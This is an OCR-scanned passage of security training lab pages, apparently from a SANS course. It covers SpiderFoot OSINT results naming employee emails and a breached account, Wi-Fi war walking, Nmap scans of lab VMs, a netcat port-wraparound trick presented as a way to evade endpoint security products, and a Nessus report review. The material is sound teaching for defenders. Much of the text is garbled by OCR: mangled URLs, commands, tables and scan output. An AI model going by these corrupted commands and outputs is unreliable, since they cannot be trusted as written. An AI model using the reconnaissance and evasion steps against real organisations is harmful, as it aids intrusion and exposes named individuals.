04:20036 | 0I46:26

s ong

nagiféreless  hackingexposedwireless.com 201902 2019-02-
21 21
174540 . tEaT2a

Tntal Bcans: 3 ] _ ‘ v

Examine SpiderFoot Search Resulis

When you run a SpiderFoot OSINT scan for a target site, SpiderFoot saves the search results in a local database
file {i spiderfoot.do ).dn the class Windows 10 VM, you will see search results for three targets. We'll focus
our analysis on the first target, www.counterhackchallenges.com inttp:iwww.counterhackehalienges.com , but-feel free

to inspect the other search results as well,




In the main Spiderfoot page, you will see the start and stop date and time for the different scans. Note that the
scan for www.counterhackchallenges.com ihttpimew.counterhackehalienges.com) took 3 hours to complete. We won't be
running o new scan today! Instead we'll focus on getting useful dota from the scan results.

Select the Counter Hack Scan Result

Click on the Counter Hack link to open the SpiderFoot scan results for this target. SpiderFoot will list the
collected data in the Browse view, listing each of the OSINT plugins used to collect data about the target
alphabetically, as shown here,

@ SpiderFoot v2.12

. Unique Data !, Total hata i, LastData

ype |7 Elements 7 Elements 7 Element :
B 1 B r R 2319%15123454
........ 2 e i ; ........._......20?9_0‘3;1514‘42:3,7,

| '2 R 2 2019-03-15 14lﬂﬂiﬁé

Affiliats - P Address 13 3B 2010-83-18 14'%0220

AT'?!M.E;{.FJ - IntErfat My . SIDI N & 2018-03-15 153267

. 2019-03-15 144824

Select the Status View

instead of starting with the Browse results view, click on the Status view. This view will show a bar chart of all the

plugins used to evaluate the target on the X axis, showing the number of results for each on the Y axis, as
shown here,
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You may wish to maximize your VMware window to see more of the scan resulls at one time without scrolling.

Scroll through the scan Status page results. Notice that the SpiderFoot scan for Search Engine's Web Content

returned the most results, as snown here. This is not terribly surprising, and it's not the most useful plugin that

SpiderFoot offers.

i

—t
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Select the Graph View

Return to the top of the browser page and select the SpiderFoot Graph view. SpiderFoot will display a massive
spiderweb view of all the search resuits, as shown here.
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At first glance this may not seem terribly useful. However, it provides an interface to deduce how SpiderFeot
collected information from one plugin, and usad It to see ancther.

For example, the red dot indicates the beginning or seed value used to produce the scan results. In this scan,
the seed value is www.counterhackchallengas.com epiwww.counterhackehallenges.comy , but it could otherwise be

a name, email address, or domain name. Linked to the seed value we see the domain counterhack.com, as well
as the email address yori@counterhackchallenges.com imeiltoyeri@counterhackchalfenges.com) , to which many other

informational elements are linked.

s




@ Sptda{Feot vii2

&« - l@ 127.0.0, 150

b1

Counter Hack

@ Slalus 1S Browse | % Graph | @ Scan Setings - B Log

meess (s:aél

€& CN=dsigner. mruc
i1 GTY‘ Sciar «bFURLb!'zrti

“ Pmtareau Category sucial) <3

anatagram (ﬁalegury sosial <SFURLT

Tip: You can click and move any of the dots in the Groph view to move the labels to a location that is more legible.

Spend a minute browsing through the Graph view and examine the relationships between the SpiderFoot seed
value and the other search results. Try and follow a single path, starting from the seed value to the final

information element discovered by SpiderFoot.

Select the Browse View

Next, return to the Browse view to see the list of information elements gathered by SpiderFoot. Each of thase

elements represents a plugin used by SpiderFoot to collect information.

To return to the list of Spiderfoot elements, click the Browse button. Clicking the Back button in your browser will

bring you back to the main Spiderfoot page,

Spend a few minutes investigating the different OSINT search results collected by SpiderFoot for the

wwaw.counterhackchallenges,com (hipaweav.counterhackchallenges.com) seed value,

The Challenge
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Use the Browse view to answer the following questions about the www.counterhackchallenges.com

(it counterhackehalienges com) target.

« |dentify the service providers and hosting companies that Counter Hack uses
s identify 3 hostnames of websites also associated with the server at www.counterhacl com

{http/feeew counterhack.com}
s ldentify 5 Counter Hack employee emait addresses
+ Identify the email address of a hacked email account
» Identify the web technology in use supporting the www, counterhackchallenges.com

{(hetpweaw.counterhackehallenges.com) site

DO NOT SCROLL FURTHER UNLESS YOU WANT ANSWERS

In the sections that fotlow we'll use the SpiderFoot results to answer each of the questions asked for this lab's
challenge section. Continue with this lab to see the answers.

Service Providers and Hosting Companies

SpiderFoot includes several plugins to identify affiliates, or companies associated with the target. The plugin of
primary interest is Affiliate - Internet Nume.

From SpiderFoot, navigate to the Browse section, then click the Affiliate - Internet Name link,

In the list of results you will see several source modules have returned resuits that indicate afﬁhates all relating

to the use of DNS mterrogatlon(:_ sfp_dasraw o sfp dnsresolve Land sfp dnsnelghbor ;) Examining

this list, there are several host names that |dent|fy service prowders or hostlng companies used for various
services associated with www. counterhackchallenges.com (hitpimwww.counterhackehallenges.com |

o ALT1.ASPMX.L.GOOGLE.com {Google MX or Mail Exchange for email hosting)
¢ dns2la.sans.org (SANS Institute DNS services)
e 1i1015-10.members.linode.com (Linode virtual host services)

&1




friteeat Mamea

: | Source
ata Elesnent | Seurce Data Element HModule . Identified
S ALTL. ASPHE.L.GO0GLE. con . counterhackchallange sfp_dnsren . 2@l9-93-15 1
¢ s.com i 4148120
ALTL. ASPHE.L.GOOGLE, com : wuw.counterhackehalle sfp_dnsraw : 2019-93-15 1
| nges.com L OGiIN6T
ALTZ,ASPHX.L.GO0GLE, com : taunterhackchallenge sFp_dnsraw ¢ 2@19-83-15 1
{5.com o488
ALTZ, ASPHA. L. GO0GLE . com : Wuw. eounterhackchalle sTp_dnsraw f 2019-@3-15 1
| nNges . com i 332157

counterhackchallel 2@15-93-15

Answer: Google, SANS, Linode

Associated Websites

The SpiderFoot module Co-Hosted Site - Domain Name reveals any DN5 names associated with discovered
targets using a variety of DNS interrogation techniques,

From SpiderFoot, navigate to the Browse section, then click the Co-Hosted Site - Domain Name link.

Inthe list of results you will see several hostnames resolved by the SpiderFoot © sfp

nsresolve  plugin,
disclosing virtual host aliases for the counterhack.com server:

¢ designer.counterhack.com
* status.counterhack.com
*  www.counterhack.com (hitp:/fwway.caunterhack com)

This information can be very useful to an attacker, since it discloses the presence of multiple websites all running

on the same setver. Each website is another opportunity to identify a vulnerability that can expose the server and
all the sites it serves,
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Answer: designer,counterhack.com, status.counterhack.com, winiw, counterhack,com (hupiwww.counterhack.com)

Employee Email Addresses

The SpiderFoct module Emaif Address reveals any email addresses associated with the specified target seed.

From SpiderFoot, navigate to the Browse section, then click the £mail Address link.

In the list of results you will see several email addresses, Some are generic (info@counterhackchalienges.com

(el nfo@oounterhackehalienges.com) ), but others are easily identified as relating to an employee account:

= josh@counterhackchallenges.com (mailtojosh@counterhackchallenges.cam)

s om@counterhackchallenges.com (mailtotom@counterhackehalienges com)

s yori@counterhackchallenges.coim (malitoyori@counterhackehallenges.coim)
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Answer: josh@counterhackchallenges.com (maittejosh@countarhackchalienges.com) ,

tom@counterhackchallenges.com (mailtozom@counterhackchalienges. com) , yori@counterhackchallenges.com

(mailtoyori@counterhackehallenges,comy ,

Hacked Account

The SpiderFoot module Hacked Email Address reveals any email addresses that are known to be hacked. This
does not indicate that the account associated with any services provided by Counter Hack was hacked (services
such as email, or remote login, etc.) Instead, this indicates that the email address is used by a site that was
hacked, likely revealing password or password hash information from the compromised site.

It's important to remember that any entries in the Hocked Account plugin do not indicate any fault of the user
whose account is reported. The result here is from a lock of security on a different site, exposing the user who had
an gccount on that site.

From SpiderFoot, navigate to the Browse section, then click the Hacked Account link.

In the list of results you will see a single email address:

*  lom@counterhackchallenges.com imaltetom@counterhackehatienges.corn) [Verifications.io]
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The Verifications.io indicator reveals the site that was compromised, exposing this email address. This particular
breach is a massive data disclostre for the enterprise email validation service, revealing 763 million records.
Additional information about this breach is available at hitps://www.bankinfosacurity.com/breach-
verificationsio-exposes-763-millicn-records-a-1 2158 (https/iwww bankinfosecurity.comfbreach-verificationslo-exposes-762-

millien-records-a-12158) ,

= SpiderFoutvd 2 .

Counter Hack

@ Satus Browds© % Graph  © Scan Settings @l Log

+ Haoked Pl Address

 Souree

. Data Element Source Data Element | Module dentified
tonPcaurterhackchallenges. com tom@counternackch | sFp_haveib | 2019-23-15
{Verifications.in] allepges,con eanpuned - 14r4%:36

Answer: tom@counterhackchallenges.com (mailtoitom@counterhackchaliengas.cam)

Web Technology

The SpiderFoot module Web Technology reveals information about the web platforms, server technology, and
web frameworks used to build and serve web content. This information is collected by the SpiderFoot

Information about web technology in use is an important information point for an attacker, guiding much of the
subseguent analysis for vulnerabifity identification,

From SpiderFoot, navigate to the Browse section, then click the Webh Technology link.

In the list of results you will see several indicators revealing supporting web technology used by the site:

LI




« Apathe

*  Gentoo Linux

* GoDaddy SSL

* Googfe Apps for Business

* iPhone/Mobile device compatibility
* Linode

«  Meteor

¢ PHP {many with version indicators)

« GSPF

«  Verizon

«  YouTube

* .. andothers
A
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& -G @127001‘«,ﬂ.f

FerTee oD
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! Madute : ldentifiad

Data Elermant Source Data Elemant

Apache counterhackehallenges. con i osfp_buil  } 2019-03-15 1

Twith P 23619

WU gentos Linus status.counterhackehallenges. | sfp_buil 2819-83-15 1
; com | twith i 3ide:ip

=1 GobDaddy SSL counterhackchallenges. cam sFp_buil 29198315 1
tuith 23684
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siness : | twith | 2:36:09

Answer: Apache web server, Gentoo Linux, Meteor Framework, PH? Framework, integration with external web
cemponents including YouTube and Google Apps, etc.

Why This Lab Is Important

OSINT is a tremendously useful resource for an attacker, guiding much of the subsequent decisions for how he
or she will scan and exploit the target organization. As a defender, tools such as SpiderFoot can provide useful
information about the nature of the data available for a specific target. Developing an understanding of the
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OSINT available for your site is useful for recognizing the informaticn an attacker has accessible prior to an
attack.

Bonus (If Time Permits or for Homework)

Explore the other scan results included in the SpiderFoot database. Answer the same questions posed for
Counter Hack for the other two scan results.

Additional Resources

Visit SANS instructor Micah Hoffman's site for articles and teols for OSINT data collection and analysis,

(hitpsi/osinteurionss)

SECAB7: Open-Source Intelligence {OSINT) Gathering and Analysis (hupsi//www. sans.org/rourse/open-source-intelligence-

gathering)




Brief Intro

We're going to do a war walking exercise,

Requirements for This Lab

In this lab you will use your Windows 10 VM. Make sure the VM is running before continuing with the lab

axercise.

Try It Yourself

Run in55IDer (or another Wi-Fi analyzer of your choice) and see what interesting networks you can find.

Walkthrough

Start inSSIDer

Plug in your Wi-Fi USB adapter, then start inS5IDer from the Start menu.

If you get a message about the Wireless Auto-configuration Service, it is because your USB adapter is not bridged

to your VM. Right-click on your VM tab then select Removable Devices. Ensure your USB wirefess adapter is

connected to the Windows VM)

F3 Windaves 10 x64_Yane_1d..

jetwork Adapter

Zh Send Chets Ble Dat
fih Inprt Billbcard fredce.

Cantiert Disconnect from Host)

Change [zon...

5 Smaphal N DisplayLink U3 Camposite Device
Captuse Screen Atheras Quatconun Athero: SCAGIE Blueteoth
Yalitkty Senors Symaptics YESTE32 Tauch Fingeqeint Sensor

Elan USB Inpul Desce

hiicrog:a USE Cemgosite Device
Bisplayiink USE Composite Device
Bedsatek U3S ks Storage Device
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Optionaf: If you don't have a Wi-Fi USB adapter, or it doesn't work, you can install inSSiDer on your HOST
computer. Alternatively, see the optional steps below for using native Windows and macQS tools for wireless
network scanning.

Once inSSIDer starts, click the Start button in the upper right corner to start scanning for Wi-Fi networks.

.| Start button |
ihere |

I sektinough ¢
{thesefabs @

WIWAPE " GPEOH .

Discover Wi-Fi Networks

Walk around and find interesting Wi-Fi networks. Return to the classroom after 10 minutes!

Do not connect to any Wi-Fi networks without permission!

Evaluate the Resulis

Using the results captured by inSSiDer, evaluate the observed networks:

= How many networks did you identify total?
s How many were unencrypted networks?
¢ Do any of the network names reveal information about the target organization?

[Optional] Windows Wi-Fi Scanning with Native Tools

tool on your host Windows operating system,
First, disconnect your host system frem a wireless network {if you are already connected).

Next, open a Command Prompt on your host Windows system. Run the command shown belew to perform the
following actions:

a0
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»  Perform an infinite loop with © ror
*  Scan for alist of available networks with  netsh
«  Filter the results to show only SSID and signal strength information with ~ findstr -

* Pausefor 15 seconds using ; ping :
+ Clear the screen using | c1s

Ci\Users\jwrig> FOR /I %N IN {(} DO @netsh wlan show networks mode=bssid |
findstr "ASSID Signal® && ping ~n 16 127.0.0.1 >NUL && cls
381D 1 : somethingclever
Signal : 100%
Signal 1 90% j
Signal 1 88% *
Signal : 100% ;
S5ID 2 : DIRECT-6a-FireTV c9b0
Signal 1 46%
881D 3 : DIRECT—X4—FireTV__cc06
Signal : 76%
S5ID 4 : ONE IN THE CHAMBER
Signal 1 34%
Signal : 48%
S8ID 5 : HP-Print-F7-0fficejet Pro 8610
Signal 142%

This command is long to type. Remember that you can cut-and-paste commands from the wiki version of the lab
materials!

Every 15 seconds the loop will run, displaying the results for observed networks, This is the same information
collected by InSSIDer, simply parsed and presented in an attractive GUI,

if you only see a single network in the output of the command, make sure you are not connected to a wireless
network.

Use the resuits of this manual scanning process to observe available wireless networks and the relative changes
to signal strength as you walk around your location. When you are finished, press CTRL+C to stop the scan.

[Optional] macOS Wi-Fi Scanning with Native Tools

If you don't have a USB Wi-Fi{ adapter you can still conduct a Wi-Fi assessment scan using the built-in
airport toolonyour host macOS cperating system.
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The ‘ alrport tool i is an amazmgly powerful macOS utility, Eocated at

double-click on the Termlnal.app program}. Run the ¢ 1n | tool with root privi Ieges using ;_ sudo | " to create a

link to the : airport  tool, as shown here:

~ % gude ln -s :
/8ystem/Library/FrivateFramevworks/Applel021l. framework/Versions/Current/Resources/s
Jusr/local/binfairport

Password: YourMaclhoginPassword

When prompted, enter your macOS login password at the | Password: { prompt.

Once the link to the airport | . tool is created in /usr/local/bln/alrport §,you can run the : éili';:é{:t i
utility from any termﬁna! Run this tool in a simple Ioop from the command I|ne as shown here;

~ $ while trus; do alrport =-s ; sleep 15; cleax; done
SSID BS3ID RSSI CHAMNEL HT CC SECURITY
{anth/unicast/group)
AkkaouilO0l0 a0:40:a0:66:66:c0 -89 1 Y o--
WPA2 (PSK/AES/AES)
FBI Surveillance Van 82Z:3b:ad:b0:97:78 -80 8,-1 Y Us
WPAZ (PSK/AE3/AES)

: NETGEAROCO 50:6a:03:a%:8£:93 -80 8 Y --

b ; WPAZ (PSK/AES /ARS)
: Fi03~SKNBR_2GEXT b0:b%:8a:4f:b7:75 =71 11 Y Us

WPLZ {PSK/AES/ARS)
ONE IN THE CHAMBER 88:1f:al:32:a87:f8 -70 11 ¥ US

WPARZ {PSK/AES/AES)

Every 15 seconds, the screen will clear and the airport : command will conduct another scan for wireless
networks, summarizing the results as shown in this examp!e

Use the results of this manual scanning process to chserve available wireless networks and the relative changes
to signal strength as you walk araund your locaticn. When you are finishec, press CTRL+C to stop the scan.

Why This Lab Is Important

asbiga Wright ang




Itis trivially easy to detect misconfigured networks. It is important that we defenders locate the issues before
the adversary does.

Bonus (If Time Permits or Homework)

With permission from management, you can make a game of wireless network hunts. Buy a cheap travel Wi-Fi
reuter and have somecne hide it and see if you can find it.

Additional Resources

SANS SECE17: Wireless Penetration Testing and Ethical Hacking ihttps//www sans org/tourse/wireless-penstration-testing-

ethical-hacking)
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Brief Intro

In this lab you will evaluate several of the features of Nmap. You will conduct multipie scans against the local
Linux VM, and the Windows VM.

Requirements for This Lab

In this lab you will use both your Slingshot Linux VM, and the Windows 10 VM. Make sure both VMs are running
before cantinuing with the lab exercise,

Try It Yourself

Run scans against your local host with different permissions. Run scans from the Linux VM to the Windows VM.
Experiment with different options to evaluate why a port is reported as open or closed, the differences between
Nmap scanning as root and as a non-privileged user, performing 0S identification, version scanning, and
evaluating the standard listening port configuration en Windows.

Walkthrough

Cverview

‘E?:secsoq g . sec504 K
i :
[

Network
Scanning

Local Scanning

in this dab you will use both your Linux and Windows ¥Ms with Nmap. All scanning will be performed from your
Linux system. Initially you will keep the scanning local to the Linux VM, but later in the lab you will also scan the
Windows VM,
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Verify Connectivity

On the Linux VM, test connectivity to the Windows VM using the pmg utility:

secb04€slingshot:~$ ping -¢ 3 10.10.0.1

PING 10.16.0.1 (10.10.0G.1} 56(84} bytes of data.

64 bytes from 10.10.0.1: icmp seq=1 ttl=128 time=0.872 ms
64 bytes from 10.10.0.1: icmp seq=2 ttl=128 time=1,14 ns
64 bytes from 10.10.0.1: icmp seq=3 tt1=128 time=1.40 ms

-—— 10.10.0.1 ping statistics =-- :
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 0.872/1.141/1.404/0.218 ms

Repeat this step, this time testing the connectivity from the Windows VM to the Linux VM:

C:\Users\Sech04> ping 10.10.75.1

Pinging 10.10.75.1 with 32 bytes of data:

Reply from 10.10.75.1: bytes=32 time<ims TTL=64
Reply from 10.10.75.1: bytes=32 time=lms TTIL=64
Reply from 10.10.75.1: bytes=32 time<lms TTL=64
Reply from i(0.10.75.1: bytes=32 time=lms TTIL=64

Ping statistics for 10.10.75.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss},

Approrimate round trip times in milli-seconds:

Minimom = Oms, Maximum = lms, Average = Oms

If you are unabile to get a response from the Windows VM or the Linux VM, take a look at the Testing Virtual
Machine Connectivity (vm-Connectivity-Test hirmi) module for troubleshooting steps.

Set Up Your Terminal Environment

From Slingshot Lintix, open a terminal. Note that when you first fog in, your command prompt is a dollar sign.
This indicates that you are not a privileged user on the system; you are accessing the system as the sec504 user,

Open a second terminal. In this second terminal, access the root account using  sude  as shown:
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sech04@slingshot:~5% sudo su -
[sudec] password for sech04: sec5d4
roctisliingshot:~#

When asked for a password, enter the password of seca04,

Note we have two separate terminals with two separate levels of access open at the same time, Arrange the
terminals so the terminal on the left has you logged in as sec504 and the terminal on the right is logged in as

root.

Root is o powerful account and one should afways be careful when running your system with this level of access.

Start a Packet Sniffer

From the terminal where you have root access (on the right), start a sniffer using topdump " targetting the
‘1o : (loopback) interface. This allows you to see the different Nmap scans and how the packets are different
from each other based on options and privilege level.

sec504@slingshot:~5% sudo su —
[sudo] password for secbld: secs04
root@slingshot:~#
root@slingshot:~# topdump —i lo

Nmap as an Uprivileged User

Let's start a basic ' nmap : scan in the first terminal on the left. The goal of having both of these windows open
at the same time is to see the stimulus (the | nmap ; scan) and the response (the tepdump ; output).




secb04@slingshot:~$ nmap 127.0.0.1

E Starting Wmap 7.01 ( https://nmap.org } at 2018-12-18 01:49 UTC :
Nmap scan report fer localhest (127.0.0.1) %
Host is up (0.000048s latency) .
Not shown: 994 closed ports

PORT STATE SERVICE i
22/tecp open ssh ;
25/tecp open smtp ?
80/tcp open  http i
631/tecp open ipp
3306/tcp open mysqgl %
5432/tep open postgresgl E

Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds
sec5048slingshot:~§

Reason and Root

By default, when not running as root, nmap | does a full TCP connect scan, so it completes the TCP/IP three-
way handshake we discussed earlier. This type of scan runs a bit slower than the Nmap scan we are going to
runin a few moments.

We are showing you how Nmap runs as a nen-root user because it is important as an incident handler to
understand that you de not need to be root to run nmap . Attackers who gain access to 2 system can still
discover systems and parts even with limited privileges if Nmap is installed on a compromised host. For many
Linux systems, Nmap is installed by default.

Another great option Nmap has is the capability to tell you why it believes a port is open. For exarmnple, for some
scans (such as UDP), Nmap lists a port as Open | Filtered. This means it did not receive a response, so the UDP
portin question may be either open or filtered, Another example is if a firewall drops a packet, Nmap responds
with Filtered as the status of a port.
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sec504@slingshot:~% nmap --yeason 127.0.0.1

Starting Nmap 7.01 { https://nmap.org } at 2018-12-18 01:50 UTC
Mmap scan report for localhost {(127.0.0.1}

Host is up (0.000035s latency).

Mot shown: 994 closed ports

Reason: 984 conn-refused

PORT STATE SERVICE REASON
- ; 22/tep open ssh syn-ack
: 25/tep opeil smtp syn-ack
80/tcp open http syn-ack
631/tep cpen ipp syn-ack
3306/¢tcp operl mysgl syn-ack
5432/tcp open postgresgl syn-ack

L : Nmap done: 1 IP address (1 host up) scanned in 0.05 seconds
- : sec504@slingshot:~%

There are two dashes before “reason.” Also, you may get a DNS error. This is because our systems are not
currently configured with DNS. The error is normal and will not impact the fab.

Now, in the first window on the |eft, become root using | sude | and scan again using " nmap . Leave the
second root window open so you can see the scan when it runs.

sec504@s1ingshot:~% sudo su -
[sudo] password for secS04: sechid
root@slingshot:~# nmap 127.0.0.1

Starting Nmap 7.01 { https://nmap.org )} at 2018-12-18 01:51 UTC

; : Nmap scan report for localhost {127.0.0.1)
P ; Host is up {0.000080s latency).
Not shown: 994 closed ports

! PORT STATE SERVICE
i E 22/tep open  ssh %
25/tcp open  smtp }
80/tcp open  http :
631/tcp open ipp é
3306/tep open  mysql
S5432/tep open postgresql

Mmap done: 1 IP address {1 host up] scanned in 1.67 seconds




Getting More Information

Although identification of ports is a good thing, today's modern attacker (and incident handler) needs more
data. For example, in book ane, we discussed the importance cf being able to identify ports and services across
entire environments, We do this for two reasons:

1. To possibly identify vulnerable services
2. We may want to identify possible backdocrs the bad guys are using

Nmap has a powerful option with the . -a = argument. This option enahles QS detection, version detection,
script scanning, and traceroute output. it gives you far more information than a simgle syrn or TCP connect
scan.

Let's run it now:

root@slingshot:~# nmap -A& 127.0.0.1
Starting Wmap 7.01 ( https://nmap.org } at 2018-12-18 01:52 UTC
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000080s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tep open ssh OpenSSH 7,.2p2 Ubuntu 4ubuntuz.2 (Ubuntu Linux; protocol 2.0)
}  ssh-hostkey:
} 2048 a7:58:1b:ceieb:1a:72:77:9a:36:58:45:9e:02:77:4b  (RSA)
| 256 b8:9d:ae:4b:13:0d:81:42:87:2d:al:03:cael:8e:4b (ECDSA)
25/tcp open smtp Exim smtpd 4.86_2
| smtp-commands: slingshot Hello localhost {127,0.0.1]1, SIZE 5248800, BBITMIME,
PIPELINING, PRDR, HELP,
| _ Commands supported: AUTH HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP
80/tcp cpen http nginx 1,10.0 (Ubuntu)
http~ls: Volume /

;
| maxfiles limit reached (10)

|  SIZE TIME FILENAME

|- 31-May-2017 04:42 SEC504/

i - 31-May-2017 04;42 SEC504/vsagent-504/
[ 29-May-2017 14:30 SEC560/
|

|

|

|

|

- 29-May-2017 14:30 SEC560/CourseFiles/
- 29-May-2017 14:30  SEC560/Dangerous/

- 29-May-2017 14:30 SECH60/WindowsTools/
- 31-May-2017 20:09 vsagent-504/

- 11-Aug-2018 10:00 vsagent-504/server/

This scan takes g while to run.
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As you can see, it provides us with not enly the ports but also now identifies the full-service version (such as
nginx 1.10.0). It also queries the services to identify what commands it supports (for example, SMTP
commands). This is critical because there will be times when Nmap does not have a proper fingerprint for a
service. In these situations, it provides you with banner information for the service. With this information, an
incident handler can then do a Google search of the banner information Nmap provides and, in some
situations, discover a new backdoor on your environment,

Standard Windows Poxis

Now, let's take a few maments and take a lock at what a Windows system looks like,

tet's run it now;

root@slingshot:~4 nmap —& 10.10.0.1

Starting Nmap 7.01 ( https://nmap.org } at 2019-04-01 22:34 UTC

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try
using ~-system-dns or speclfy valid servers with --dns-servers

Nmap scan report for 10.10.0.1

Host is up (0.00083s latency).

Mot shown: 997 closed ports

PORT STATE SERVICE VERSION

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows 98 netbiosg-ssn

445/tcp cpen microsoft-ds Microsoft Windows 10 microsoft-ds

MAC Address: 00:0C:29:86:41:1D (VMware)

Mo exact OS matches for host (If you know what 03 is running on it, see

https://nmap.org/submit/ ).

This scan takes a while to run. You can safely ignore the mass_dns warning.

The big thing to take frem this is what ports are available to most un-firewalled systems. The standard RPC/SMB
norts (135, 139, and 445) are an Achilles heel for many Windows systems, It is over these ports that many
exploits access Windows systems remotely, or allow an attacker to remotely authenticate and access the
system via valid credentials.

Why This Lab Is Imporiant




We've given a brief intro into the ways in which Nmap allows one to see what ports are open and available, By
using Nmap, or tools like it, attackers and defenders can learn how a network is actuatly configured and
running.

Bonus (If Time Permits or Homework)

Unidentified Scan Target

Your Slingshot Linux VM is configured with an additional scan target that runs in a Docker container. To launch
the target, open a terminal and run the goscantgt | command, as shown here:

secb04@slingshot:~5 goscantgt

Note that the output of the = goscantgt | command does not immediately produce any output,

Open a second terminal. While the | goscantgt | command is running, a second Linux instance is available on

the local 172.30.0.0 network (the Slingshot Linux VM is 172.30.0.1; the target is in the range 172.30.0.2-254),

identify the IP address of the scanning target using a Nmap host discovery scan {using the :—'ép"; argument).
After you identify the IP address of the new target, identify 5 open TCP ports listening on the target systerm.
Consider using the Nrmap | -2 i scan argument to collect OS, version, and service information from the target
system.

Feel free to experiment with connecting to the listening ports using different tools. After you have finished

experimentation, return to the | goscantgt | process and press CTRL+C o stop the Docker container.

Comparing Nmap Scan Results with ndiff

Try using ndiff 1, a utility that ships with Nmap. It allows one to easily compare Nmap scan results. (Hint:
This is a great way to compare a baseline scan against a weekly, dafly, or hourly scan to look for new services or
hosts.) Try the following:

Q rroétr:@rsiiﬁgsﬂl:x‘c;’.ﬁ”: ! nmap - 127.0.0.1 -oX baseline.xml (This will save the output of the scan into an
XML document named basetine.xml)
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| root@slingshot:~# service sshd start : (This will start our ssh service back up)

: root@slingshot:~# nmap -2 127.0.0.1 -oX new-scan.xml | (This is our new scan which we will compare

aga'ihét' the baseline)

ndiff baseline.xml new-scan.xml

You should seea : + indicating ssh is a new servicel We detected a change from our baseline.

Optional Lab: 65,5367

For a lot of security, we make basic assumptions about how computers are supposed to work, We take certain
rules for granted and we never go about testing and validating them.

Let's spend a few moments and see if we can bend or possibly break the 16-bit/65,536 port rule,

Doing things like this is important because these types of fringe issues can be used to possibly bypass security
products.

First, we need to start two terminals.

in the first terminal, let's become root and start our netcat Kstener:

sec504@slingshot:~% sudo su -~
[sude} paszsword for sech04: sechHf4d
root@slingshot:~# me -1 -p 76000

Then, in another terminal we can start the client and connect to it;

sec504@slingshot:~% ne 127.84.0.1 700900

It worked!!! Now type something.




~$ r;c 127.0.8.1 70008

SILR T sitde su -

[sude] password for sec504:
root@slingshot:~% nc -1 «p 70080

pid this work?

It appears it did on the other terminal

ibid this work?
:It appears it did on the other terminal

65,535 Explained

Let's test this further.

First, let's kill the existing session by pressing Ctrl+C to kil the netcat listeners,

Then, restart the listener:

Now, in a new window, lets kick on an Nmap scan testing up to 70,000 ports.

sec504@slingshot:~$ nmap -gT -p 1-70000 127.0.0.%
Starting Nmap 7.01 { https://nmap.org )} at 2019-01-14 21:49 UTC

Forts specified must be betwesen 0 and 65535 inclusive
QUITTING!

And it did not work. Let's just try a full port scan,

Copyrighe © 2015, Joshua Wright and Mike Murr, All Rights Reserved




sec504@slingshot:~% nmap -sT -p 1-63535 127.0.4.1

o % Starting Nmap 7.01 ( https://nmap.org ) at 2019-01-14 21:49 UTC
{ mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled.

Try using --system-dns or specify valid servers with --dns-servers
o : Nmap scan report for localhest {127.0.0.1)
! [ : Host is up (0.000026s latency).
: Not shownt 65528 closed ports

PORT STATE SERVICE
22/tcp open ssh
25/tep cpen smtp
: 80/tecp cpen http
i : 631i/tcp cpen ipp
: 3306/tcp open mysql
; 446d4/tcp open  unknown
L 5432/tcp open postgresqgl

Nmap done: 1 IP address (1 host up) scanned in 0.61 seconds
sech04@slingshot:~§

As you can see, there is one odd port, 4464, What is that? Well, it turns out that 70,000 - 4464 = 65,536. The port
wrapped. This is because the port number in Netcat is an unsigned integer. It will just wrap over the address
space. While neat, how useful is this? It turns out, these kinds of tricks are what security researchers do to

o bypass security products. Let's say there is an endpoint security product that is watching command-line

] arguments for a number between 1-65536, With this trick, you may be able to bypass such a product.

Remember, if you run this more than once, you need to restart Netcat each time.

Additional Resources

For a deeper dive on Nmap commands and what they do, try the commands in this blog posting:
https://ww,cyhercith. biz/security/nmap-command-examples-tutorials/ (https:/www.cyberditi biz/security/nimap-

. comimand-examples-tutorials/}




Brief Intro

In this lab, we'll be investigating the default criticality rankings in a Nessus report and evaluate if they are
appropriate and accurate. The goal of the exercise is to look behind the vulnerabilities marked Critical and
evaluate the true threats that the vulnerability assessment report reveals.

Requirements for This Lab

In this lab you will use your Slingshot Linux VM. Make sure the VM is running before continuing with the tab
exercise,

Try It Yourself

Open the Nessus report focated at | /home/sec504/Courseriles/NessusScan. html -. Look at the scan result
and see if you agree with the findings.

Walkthrough

Nessus Report Investigation

In this lab you will review the resuits of a Nessus scan. To optimize the time spent on this exercise, we have
completed the scan and exported the report for your review.

First, open a terminal on your Slingshot Linux VM.

Next, open the report results using Firefox, as shown here;

sechb04@slingshot:~$ od /home/secb04/Coursefiles
sec504@slingshot:~/CourseFiles$ firsfox NessusScan.html
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Your scan result will lock similar to the example shown here,

s i

i é:;‘ﬁhnmefsec504.'CourseF'rteste;susS.cér.Lhtml

TABLE OF CONTENTS

Yulnsrabititiss by Plugln

LI {ij- L 7.0 Bullipls Yulsaratiiiss

okt FTi Sarver Suthentuation SAL Injecilon
2agait UIP Packet Sowse Pord 53 Bukeset Bypass
o 24833 {33~ it

» 35557 (26)

1.8 Beotmo! Delaciion (PSS

st MosEaTe

Moze Than Just Red

The goal of this lab is to break the thought process of only laoking to Critical and High vulnerabiiities. In our
testing, we discovered that many organizations ignore anything less than High because of the sheer volume of
vulnerabilities. However, it is possible to review the lows and even informational findings if you know how to
properly address them,

For this lab, ignore High and Critical findings. Instead, focus on Medium findings and below. Take a few
moments and review the vulnerable output and took for vulnerabilities that could fead to an immediate breach of
the organization. Some things to look for are service banners and files. Mainly, we want you to see now easy it is
to review the output of the tools when the data is properly sorted.

Write your niotes on a piece of scrap paper, or your favorite editor.

Suggestions to Follow

Do not go further unless you want the answers to this exercise (our interpretation of the scan results).

TETP Finding
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Synopsis

Ths 1mhale TRTP senver ain be used 1o read amitrary files on ths remote host,

Description
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rermate Rost by prepenclng Walf names Witk dirsctary traversal pegancss.

Salution
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Risk Fanior

Kalyes
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CVES Temporal Seare

4.1 (CYESHEFRLIOFRCC)

References

B
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B

Start looking at scanner results as less of a roadmap of what exactly needs to be done, but as your eyes and
ears on a target network. Trivial File Transfer Protocol (TFTP} is a good example of this. When Nessus runs, it
